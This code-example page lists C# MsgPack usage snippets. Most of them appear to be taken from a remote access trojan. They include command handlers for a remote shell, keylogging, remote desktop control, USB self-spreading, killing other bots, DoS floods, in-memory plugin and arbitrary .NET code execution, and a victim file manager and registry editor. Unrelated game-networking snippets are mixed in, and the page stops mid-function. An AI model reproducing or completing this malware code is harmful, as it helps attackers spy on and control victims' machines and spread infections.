Пример #1
0
 private void Button1_Click(object sender, EventArgs e)
 {
     if (button1.Tag == (object)"play")
     {
         MsgPack msgpack = new MsgPack();
         msgpack.ForcePathObject("Packet").AsString   = "remoteDesktop";
         msgpack.ForcePathObject("Option").AsString   = "capture";
         msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
         msgpack.ForcePathObject("Screen").AsInteger  = Convert.ToInt32(numericUpDown2.Value.ToString());
         decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
         ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
         numericUpDown1.Enabled  = false;
         numericUpDown2.Enabled  = false;
         btnSave.Enabled         = true;
         btnMouse.Enabled        = true;
         button1.Tag             = (object)"stop";
         button1.BackgroundImage = Properties.Resources.stop__1_;
     }
     else
     {
         button1.Tag = (object)"play";
         try
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
             msgpack.ForcePathObject("Option").AsString = "stop";
             ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
         }
         catch { }
         numericUpDown1.Enabled  = true;
         numericUpDown2.Enabled  = true;
         btnSave.Enabled         = false;
         btnMouse.Enabled        = false;
         button1.BackgroundImage = Properties.Resources.play_button;
     }
 }
Пример #2
0
        private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
        {
            if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
            {
                if (!IsLockKey(e.KeyCode))
                {
                    e.Handled = true;
                }

                if (_keysPressed.Contains(e.KeyCode))
                {
                    return;
                }

                _keysPressed.Add(e.KeyCode);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                msgpack.ForcePathObject("Option").AsString = "keyboardClick";
                msgpack.ForcePathObject("key").AsInteger   = Convert.ToInt32(e.KeyCode);
                msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true);
                ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
            }
        }
Пример #3
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "pong":     //send interval value to server
                {
                    ClientSocket.ActivatePong = false;
                    MsgPack msgPack = new MsgPack();
                    msgPack.ForcePathObject("Packet").SetAsString("pong");
                    msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
                    ClientSocket.Send(msgPack.Encode2Bytes());
                    ClientSocket.Interval = 0;
                    break;
                }

                case "plugin":     // run plugin in memory
                {
                    try
                    {
                        if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
                        {
                            Packs.Add(unpack_msgpack);                                                    //save it for later
                            MsgPack msgPack = new MsgPack();
                            msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
                            msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString);
                            ClientSocket.Send(msgPack.Encode2Bytes());
                        }
                        else
                        {
                            Invoke(unpack_msgpack);
                        }
                    }
                    catch (Exception ex)
                    {
                        Error(ex.Message);
                    }
                    break;
                }

                case "savePlugin":     // save plugin
                {
                    SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
                    Debug.WriteLine("plugin saved");
                    foreach (MsgPack msgPack in Packs.ToList())
                    {
                        if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString)
                        {
                            Invoke(msgPack);
                            Packs.Remove(msgPack);
                        }
                    }
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
Пример #4
0
 public void ReadMsgPack(MsgPack msg)
 {
     Id = msg.ReadNUInt16("Id"); Name = msg.ReadString("Name");
 }
Пример #5
0
        public void FileManager(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "getDrivers":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                                if (FM != null)
                                {
                                    FM.listView1.Items.Clear();
                                    string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    for (int i = 0; i < driver.Length; i++)
                                    {
                                        if (driver[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = driver[i];
                                            lv.ToolTipText = driver[i];
                                            if (driver[i + 1] == "Fixed")
                                            {
                                                lv.ImageIndex = 1;
                                            }
                                            else if (driver[i + 1] == "Removable")
                                            {
                                                lv.ImageIndex = 2;
                                            }
                                            else
                                            {
                                                lv.ImageIndex = 1;
                                            }
                                            FM.listView1.Items.Add(lv);
                                        }
                                        i += 1;
                                    }
                                }
                            }));
                    }
                    break;
                }

                case "getPath":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                                if (FM != null)
                                {
                                    FM.listView1.Items.Clear();
                                    FM.listView1.Groups.Clear();
                                    string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    ListViewGroup groupFolder = new ListViewGroup("Folders");
                                    FM.listView1.Groups.Add(groupFolder);
                                    int numFolders = 0;
                                    for (int i = 0; i < _folder.Length; i++)
                                    {
                                        if (_folder[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = _folder[i];
                                            lv.ToolTipText = _folder[i + 1];
                                            lv.Group = groupFolder;
                                            lv.ImageIndex = 0;
                                            FM.listView1.Items.Add(lv);
                                            numFolders += 1;
                                        }
                                        i += 1;
                                    }

                                    string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    ListViewGroup groupFile = new ListViewGroup("Files");
                                    FM.listView1.Groups.Add(groupFile);
                                    int numFiles = 0;
                                    for (int i = 0; i < _file.Length; i++)
                                    {
                                        if (_file[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = Path.GetFileName(_file[i]);
                                            lv.ToolTipText = _file[i + 1];
                                            Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
                                            FM.imageList1.Images.Add(_file[i + 1], im);
                                            lv.ImageKey = _file[i + 1];
                                            lv.Group = groupFile;
                                            lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
                                            FM.listView1.Items.Add(lv);
                                            numFiles += 1;
                                        }
                                        i += 3;
                                    }
                                    FM.toolStripStatusLabel2.Text = $"       Folder[{numFolders.ToString()}]   Files[{numFiles.ToString()}]";
                                }
                            }));
                    }
                    break;
                }

                case "reqUploadFile":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(async() =>
                            {
                                FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
                                if (FD != null)
                                {
                                    FD.C = client;
                                    FD.timer1.Start();
                                    MsgPack msgpack = new MsgPack();
                                    msgpack.ForcePathObject("Packet").AsString = "fileManager";
                                    msgpack.ForcePathObject("Command").AsString = "uploadFile";
                                    await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName);
                                    msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName;
                                    ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
                                }
                            }));
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #6
0
 public void ReadMsgPack(MsgPack msg)
 {
     Id = msg.RnI32("Id"); Name = msg.RS("Name");
 }
Пример #7
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "botKiller":
                {
                    new HandleBotKiller().RunBotKiller();
                    Connection.Disconnected();
                    break;
                }

                case "limeUSB":
                {
                    new HandleLimeUSB().Initialize();
                    Connection.Disconnected();
                    break;
                }

                case "torrent":
                {
                    new HandleTorrent(unpack_msgpack);
                    Connection.Disconnected();
                    break;
                }

                case "shell":
                {
                    HandleShell.StarShell();
                    break;
                }

                case "shellWriteInput":
                {
                    if (HandleShell.ProcessShell != null)
                    {
                        HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
                    }
                    break;
                }

                case "dosAdd":
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "dosAdd";
                    Connection.Send(msgpack.Encode2Bytes());
                    break;
                }


                case "dos":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "postStart":
                    {
                        ctsDos = new CancellationTokenSource();
                        new HandleDos().DosPost(unpack_msgpack);
                        break;
                    }

                    case "postStop":
                    {
                        ctsDos.Cancel();
                        Connection.Disconnected();
                        break;
                    }
                    }
                    break;
                }


                case "executeDotNetCode":
                {
                    new HandlerExecuteDotNetCode(unpack_msgpack);
                    Connection.Disconnected();
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
Пример #8
0
        public void AddToListview(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                lock (Settings.LockBlocked)
                {
                    try
                    {
                        if (Settings.Blocked.Count > 0)
                        {
                            if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
                            {
                                client.Disconnected();
                                return;
                            }
                            else if (Settings.Blocked.Contains(client.Ip))
                            {
                                client.Disconnected();
                                return;
                            }
                        }
                    }
                    catch { }
                }
                client.Admin = false;
                if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() != "user")
                {
                    client.Admin = true;
                }

                client.LV = new ListViewItem
                {
                    Tag  = client,
                    Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
                };
                string[] ipinf;
                string   address = "";
                try
                {
                    if (TimeZoneInfo.Local.Id == "China Standard Time")
                    {
                        using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\Plugins\ip2region.db"))
                        {
                            string temp = _search.MemorySearch(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Region;
                            for (int i = 0; i < 5; i++)
                            {
                                if (i == 1)
                                {
                                    continue;
                                }
                                if (temp.Split('|')[i] != "" || temp.Split('|')[i] != " ")
                                {
                                    address = address + temp.Split('|')[i] + " ";
                                }
                            }
                        }
                        client.LV.SubItems.Add(address);
                    }
                    else
                    {
                        ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
                        client.LV.SubItems.Add(ipinf[1]);
                    }
                }
                catch
                {
                    client.LV.SubItems.Add("Unknown");
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Camera").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
                try
                {
                    client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString());
                }
                catch
                {
                    try
                    {
                        client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString);
                    }
                    catch
                    {
                        client.LV.SubItems.Add("??");
                    }
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString);
                client.LV.SubItems.Add("0000 MS");
                client.LV.SubItems.Add("...");
                client.LV.ToolTipText             = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
                client.LV.ToolTipText            += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
                client.ID                         = unpack_msgpack.ForcePathObject("HWID").AsString;
                client.LV.UseItemStyleForSubItems = false;
                client.LastPing                   = DateTime.Now;
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    lock (Settings.LockListviewClients)
                    {
                        Program.form1.listView1.Items.Add(client.LV);
                        Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                        Program.form1.lv_act.Width = 500;
                    }

                    if (Properties.Settings.Default.Notification == true)
                    {
                        Program.form1.notifyIcon1.BalloonTipText = $@"Connected 
{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
                        Program.form1.notifyIcon1.ShowBalloonTip(100);
                        if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null)
                        {
                            try
                            {
                                string content = $"Client {client.Ip} connected" + "\n"
                                                 + "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n"
                                                 + "User:"******"User").AsString + "\n"
                                                 + "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n"
                                                 + "User:"******"Admin").AsString;
                                DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content);
                            }
                            catch (Exception ex)
                            {
                                MessageBox.Show(ex.Message);
                            }
                        }
                    }

                    new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green);
                    TimeZoneInfo local = TimeZoneInfo.Local;
                    if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true)
                    {
                        SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online);
                        sp.Load();
                        sp.Play();
                    }
                }));
            }
            catch { }
        }
Пример #9
0
        public static void Read(object Obj)
        {
            Clients client = null;

            try
            {
                object[] array = Obj as object[];
                byte[]   data  = (byte[])array[0];
                client = (Clients)array[1];
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes(Settings.AES.Decrypt(data));
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "ClientInfo":
                {
                    new HandleListView().AddToListview(client, unpack_msgpack);
                    break;
                }

                case "Ping":
                {
                    new HandlePing(client, unpack_msgpack);
                    break;
                }

                case "Logs":
                {
                    new HandleLogs().Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black);
                    break;
                }

                case "thumbnails":
                {
                    new HandleThumbnails(client, unpack_msgpack);
                    break;
                }

                case "BotKiller":
                {
                    new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange);
                    break;
                }

                case "usbSpread":
                {
                    new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple);
                    break;
                }

                case "Received":
                {
                    new HandleListView().Received(client);
                    break;
                }

                case "remoteDesktop":
                {
                    new HandleRemoteDesktop().Capture(client, unpack_msgpack);
                    break;
                }

                case "processManager":
                {
                    new HandleProcessManager().GetProcess(client, unpack_msgpack);
                    break;
                }


                case "socketDownload":
                {
                    new HandleFileManager().SocketDownload(client, unpack_msgpack);
                    break;
                }

                case "keyLogger":
                {
                    new HandleKeylogger(client, unpack_msgpack);
                    break;
                }

                case "fileManager":
                {
                    new HandleFileManager().FileManager(client, unpack_msgpack);
                    break;
                }
                }
            }
            catch (CryptographicException)
            {
                new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password", Color.Red);
                //  Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
                client.Disconnected();
                return;
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex.Message);
                return;
            }
        }
Пример #10
0
        public void RegManager(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "setClient":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        if (FM.Client == null)
                        {
                            client.ID         = unpack_msgpack.ForcePathObject("Hwid").AsString;
                            FM.Client         = client;
                            FM.timer1.Enabled = true;
                        }
                    }
                    break;
                }

                case "CreateKey":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString;
                        byte[] Matchbyte  = unpack_msgpack.ForcePathObject("Match").GetAsBytes();

                        FM.CreateNewKey(ParentPath, DeSerializeMatch(Matchbyte));
                    }
                    break;
                }

                case "LoadKey":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string rootKey     = unpack_msgpack.ForcePathObject("RootKey").AsString;
                        byte[] Matchesbyte = unpack_msgpack.ForcePathObject("Matches").GetAsBytes();

                        FM.AddKeys(rootKey, DeSerializeMatches(Matchesbyte));
                    }
                    break;
                }

                case "DeleteKey":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string rootKey = unpack_msgpack.ForcePathObject("ParentPath").AsString;
                        string subkey  = unpack_msgpack.ForcePathObject("KeyName").AsString;

                        FM.DeleteKey(rootKey, subkey);
                    }
                    break;
                }

                case "RenameKey":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string rootKey = unpack_msgpack.ForcePathObject("rootKey").AsString;
                        string oldName = unpack_msgpack.ForcePathObject("oldName").AsString;
                        string newName = unpack_msgpack.ForcePathObject("newName").AsString;

                        FM.RenameKey(rootKey, oldName, newName);
                    }
                    break;
                }

                case "CreateValue":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string            keyPath    = unpack_msgpack.ForcePathObject("keyPath").AsString;
                        string            Kindstring = unpack_msgpack.ForcePathObject("Kindstring").AsString;
                        string            newKeyName = unpack_msgpack.ForcePathObject("newKeyName").AsString;
                        RegistryValueKind Kind       = RegistryValueKind.None;
                        switch (Kindstring)
                        {
                        case "-1":
                        {
                            Kind = RegistryValueKind.None;
                            break;
                        }

                        case "0":
                        {
                            Kind = RegistryValueKind.Unknown;
                            break;
                        }

                        case "1":
                        {
                            Kind = RegistryValueKind.String;
                            break;
                        }

                        case "2":
                        {
                            Kind = RegistryValueKind.ExpandString;
                            break;
                        }

                        case "3":
                        {
                            Kind = RegistryValueKind.Binary;
                            break;
                        }

                        case "4":
                        {
                            Kind = RegistryValueKind.DWord;
                            break;
                        }

                        case "7":
                        {
                            Kind = RegistryValueKind.MultiString;
                            break;
                        }

                        case "11":
                        {
                            Kind = RegistryValueKind.QWord;
                            break;
                        }
                        }
                        RegValueData regValueData = new RegValueData();
                        regValueData.Name = newKeyName;
                        regValueData.Kind = Kind;
                        regValueData.Data = new byte[] { };

                        FM.CreateValue(keyPath, regValueData);
                    }
                    break;
                }

                case "DeleteValue":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string keyPath   = unpack_msgpack.ForcePathObject("keyPath").AsString;
                        string ValueName = unpack_msgpack.ForcePathObject("ValueName").AsString;

                        FM.DeleteValue(keyPath, ValueName);
                    }
                    break;
                }

                case "RenameValue":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string keyPath      = unpack_msgpack.ForcePathObject("keyPath").AsString;
                        string OldValueName = unpack_msgpack.ForcePathObject("OldValueName").AsString;
                        string NewValueName = unpack_msgpack.ForcePathObject("NewValueName").AsString;

                        FM.RenameValue(keyPath, OldValueName, NewValueName);
                    }
                    break;
                }

                case "ChangeValue":
                {
                    FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        string keyPath          = unpack_msgpack.ForcePathObject("keyPath").AsString;
                        byte[] RegValueDatabyte = unpack_msgpack.ForcePathObject("Value").GetAsBytes();

                        FM.ChangeValue(keyPath, DeSerializeRegValueData(RegValueDatabyte));
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #11
0
    /// <summary>
    /// 开始战斗
    /// </summary>
    /// <param name="msg"></param>
    public void BattleSatrt(MsgPack msg)
    {
        this.groupPack = msg.GroupPack;

        RunByStep();
    }
Пример #12
0
        private void ParseMessage(byte[] bytes)
        {
            if (previousCode == 0)
            {
                var code = bytes[0];

                if (code == Protocol.USER_ID)
                {
                    Id = System.Text.Encoding.UTF8.GetString(bytes, 2, bytes[1]);

                    if (OnOpen != null)
                    {
                        OnOpen.Invoke(this, EventArgs.Empty);
                    }
                }
                else if (code == Protocol.JOIN_REQUEST)
                {
                    var requestId = bytes[1];

                    IRoom room;
                    if (connectingRooms.TryGetValue(requestId, out room))
                    {
                        room.Id = System.Text.Encoding.UTF8.GetString(bytes, 3, bytes[2]);

                        endpoint.Path  = "/" + room.Id;
                        endpoint.Query = "colyseusid=" + this.Id;

                        var processPath = "";
                        var nextIndex   = 3 + room.Id.Length;
                        if (bytes.Length > nextIndex)
                        {
                            processPath = System.Text.Encoding.UTF8.GetString(bytes, nextIndex + 1, bytes[nextIndex]) + "/";
                        }

                        room.SetConnection(CreateConnection(processPath + room.Id, room.Options));
                        room.OnLeave += OnLeaveRoom;

                        if (rooms.ContainsKey(room.Id))
                        {
                            rooms.Remove(room.Id);
                        }
                        rooms.Add(room.Id, room);
                        connectingRooms.Remove(requestId);
                    }
                    else
                    {
                        throw new Exception("can't join room using requestId " + requestId.ToString());
                    }
                }
                else if (code == Protocol.JOIN_ERROR)
                {
                    string message = System.Text.Encoding.UTF8.GetString(bytes, 2, bytes[1]);
                    if (OnError != null)
                    {
                        OnError.Invoke(this, new ErrorEventArgs(message));
                    }
                }
                else if (code == Protocol.ROOM_LIST)
                {
                    previousCode = code;
                }
            }
            else
            {
                if (previousCode == Protocol.ROOM_LIST)
                {
                    var             message        = MsgPack.Deserialize <List <object> >(new MemoryStream(bytes));
                    var             requestId      = Convert.ToInt32(message[0]);
                    List <object>   _rooms         = (List <object>)message[1];
                    RoomAvailable[] availableRooms = new RoomAvailable[_rooms.Count];

                    for (int i = 0; i < _rooms.Count; i++)
                    {
                        IDictionary <string, object> room = (IDictionary <string, object>)_rooms[i];
                        RoomAvailable _room = ObjectExtensions.ToObject <RoomAvailable>(_rooms[i]);
                        availableRooms[i] = _room;
                    }

                    roomsAvailableRequests[requestId].Invoke(availableRooms);
                    roomsAvailableRequests.Remove(requestId);
                }

                previousCode = 0;
            }
        }
Пример #13
0
 private async Task SaveFileAsync(MsgPack unpack_msgpack, string name)
 {
     await unpack_msgpack.SaveBytesToFile(name);
 }
Пример #14
0
        public async void FileManager(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "getDrivers":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                    if (FM != null)
                    {
                        FM.toolStripStatusLabel1.Text = "";
                        FM.listView1.Items.Clear();
                        string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                        for (int i = 0; i < driver.Length; i++)
                        {
                            if (driver[i].Length > 0)
                            {
                                ListViewItem lv = new ListViewItem();
                                lv.Text        = driver[i];
                                lv.ToolTipText = driver[i];
                                if (driver[i + 1] == "Fixed")
                                {
                                    lv.ImageIndex = 1;
                                }
                                else if (driver[i + 1] == "Removable")
                                {
                                    lv.ImageIndex = 2;
                                }
                                else
                                {
                                    lv.ImageIndex = 1;
                                }
                                FM.listView1.Items.Add(lv);
                            }
                            i += 1;
                        }
                    }
                    break;
                }

                case "getPath":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                    if (FM != null)
                    {
                        FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
                        if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
                        {
                            FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
                        }
                        if (FM.toolStripStatusLabel1.Text.Length == 2)
                        {
                            FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
                        }

                        FM.listView1.BeginUpdate();
                        //
                        FM.listView1.Items.Clear();
                        FM.listView1.Groups.Clear();
                        FM.toolStripStatusLabel3.Text = "";

                        ListViewGroup groupFolder = new ListViewGroup("Folders");
                        ListViewGroup groupFile   = new ListViewGroup("Files");

                        FM.listView1.Groups.Add(groupFolder);
                        FM.listView1.Groups.Add(groupFile);

                        FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
                        FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
                        //
                        FM.listView1.Enabled = true;
                        FM.listView1.EndUpdate();

                        FM.toolStripStatusLabel2.Text = $"       Folder[{FM.listView1.Groups[0].Items.Count}]   Files[{FM.listView1.Groups[1].Items.Count}]";
                    }
                    break;
                }

                case "reqUploadFile":
                {
                    FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
                    if (FD != null)
                    {
                        FD.Client = client;
                        FD.timer1.Start();
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString  = "fileManager";
                        msgpack.ForcePathObject("Command").AsString = "uploadFile";
                        await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);

                        msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
                        ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
                    }
                    break;
                }

                case "error":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                    if (FM != null)
                    {
                        FM.listView1.Enabled = true;
                        FM.toolStripStatusLabel3.ForeColor = Color.Red;
                        FM.toolStripStatusLabel3.Text      = unpack_msgpack.ForcePathObject("Message").AsString;
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #15
0
 public MsgPackContentFormatter(MsgPack.Serialization.SerializationContext serializationContext, string mediaType = "application/x-msgpack", string ext = "mpk")
     : base(mediaType, ext, null)
 {
     this.serializationContext = serializationContext;
 }
Пример #16
0
        public FileManager(MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "getDrivers":
                {
                    GetDrivers();
                    break;
                }

                case "getPath":
                {
                    GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
                    break;
                }

                case "uploadFile":
                {
                    string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
                    if (File.Exists(fullPath))
                    {
                        File.Delete(fullPath);
                        Thread.Sleep(500);
                    }
                    unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
                    break;
                }

                case "reqUploadFile":
                {
                    ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);;
                    break;
                }

                case "socketDownload":
                {
                    DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
                    break;
                }

                case "deleteFile":
                {
                    string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                    File.Delete(fullPath);
                    break;
                }

                case "execute":
                {
                    string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                    Process.Start(fullPath);
                    break;
                }

                case "createFolder":
                {
                    string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
                    if (!Directory.Exists(fullPath))
                    {
                        Directory.CreateDirectory(fullPath);
                    }
                    break;
                }

                case "deleteFolder":
                {
                    string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
                    if (Directory.Exists(fullPath))
                    {
                        Directory.Delete(fullPath);
                    }
                    break;
                }

                case "copyFile":
                {
                    Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString;
                    break;
                }

                case "pasteFile":
                {
                    string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                    if (fullPath.Length > 0)
                    {
                        string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
                        for (int i = 0; i < filesArray.Length; i++)
                        {
                            try
                            {
                                if (filesArray[i].Length > 0)
                                {
                                    File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
                                }
                            }
                            catch (Exception ex)
                            {
                                Error(ex.Message);
                            }
                        }
